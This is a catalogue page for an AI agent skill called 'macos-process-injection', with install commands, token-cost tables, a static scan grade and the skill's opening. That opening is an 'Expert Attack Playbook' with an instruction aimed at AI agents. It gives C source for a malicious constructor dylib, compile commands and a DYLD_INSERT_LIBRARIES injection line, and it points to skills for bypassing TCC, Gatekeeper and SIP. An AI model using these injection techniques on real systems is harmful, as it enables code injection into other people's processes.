Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add miru-zero/zero-brain --skill macos-process-injectiongit clone --depth 1 https://github.com/miru-zero/zero-brainWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/miru-zero/zero-brain/macos-process-injection)<a href="https://agentmods.dev/skills/miru-zero/zero-brain/macos-process-injection"><img src="https://agentmods.dev/badge/skills/miru-zero/zero-brain/macos-process-injection/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/miru-zero/zero-brain/macos-process-injection"><img src="https://agentmods.dev/badge/skills/miru-zero/zero-brain/macos-process-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00053 | $0.03519 |
| Opus 5.5 | $0.00021 | $0.01408 |
| Sonnet 5.5 | $0.00011 | $0.00704 |
| Haiku 4.5 | $0.00005 | $0.00352 |
Grade A, and why
macos-process-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
"require('child_process').execSync('id').toString()" This is a copy
98% identical to macos-process-injection — 4 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 385 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: macOS Process Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert macOS process injection techniques. Covers DYLD_INSERT_LIBRARIES, dylib hijacking (weak/rpath/proxy), XPC PID reuse attacks, Mach port manipulation, MIG abuse, and Electron injection. Base models miss entitlement prerequisites and SIP constraints on injection vectors.
0. RELATED ROUTING
Before going deep, consider loading:
- macos-security-bypass when you need to bypass TCC, Gatekeeper, or SIP protections blocking your injection
- linux-privilege-escalation for Unix-layer escalation (shared object hijacking concepts apply)
Advanced Reference
Also load DYLIB_XPC_TECHNIQUES.md when you need:
- Step-by-step dylib hijacking methodology with tooling commands
- XPC exploitation walkthrough with code examples
- Mach port technique details and task_for_pid patterns
1. DYLD_INSERT_LIBRARIES INJECTION
The most straightforward injection: set an environment variable that forces the dynamic linker to preload your dylib.
1.1 Requirements and Restrictions
| Condition | Can Inject? | Reason |
|---|---|---|
| Normal (non-hardened) binary | Yes | No restrictions |
| Hardened Runtime enabled | No | DYLD strips env vars |
Hardened Runtime + com.apple.security.cs.allow-dyld-environment-variables |
Yes | Entitlement explicitly allows it |
| Apple system binary (SIP-protected) | No | DYLD env vars stripped by SIP |
| SUID/SGID binary | No | DYLD env vars stripped for privilege safety |
| App Sandbox enabled | No | Sandbox blocks env var injection |
1.2 Basic Injection
# Create malicious dylib
cat > inject.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void inject() {
printf("[+] Injected into PID %d\n", getpid());
// payload here
}
EOF
# Compile for both architectures
gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64
# Inject into target
DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 385 lines · 53 tokens per session scan A e84de464e204
macos-process-injection is a skill published in the GitHub repository miru-zero/zero-brain (0 stars, last pushed 2mo ago), licensed MIT. It adds 53 tokens to every session and 3,519 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 1 finding (runs shell commands). It is 98% identical to macos-process-injection, differing in 4 lines, and is treated as a copy.
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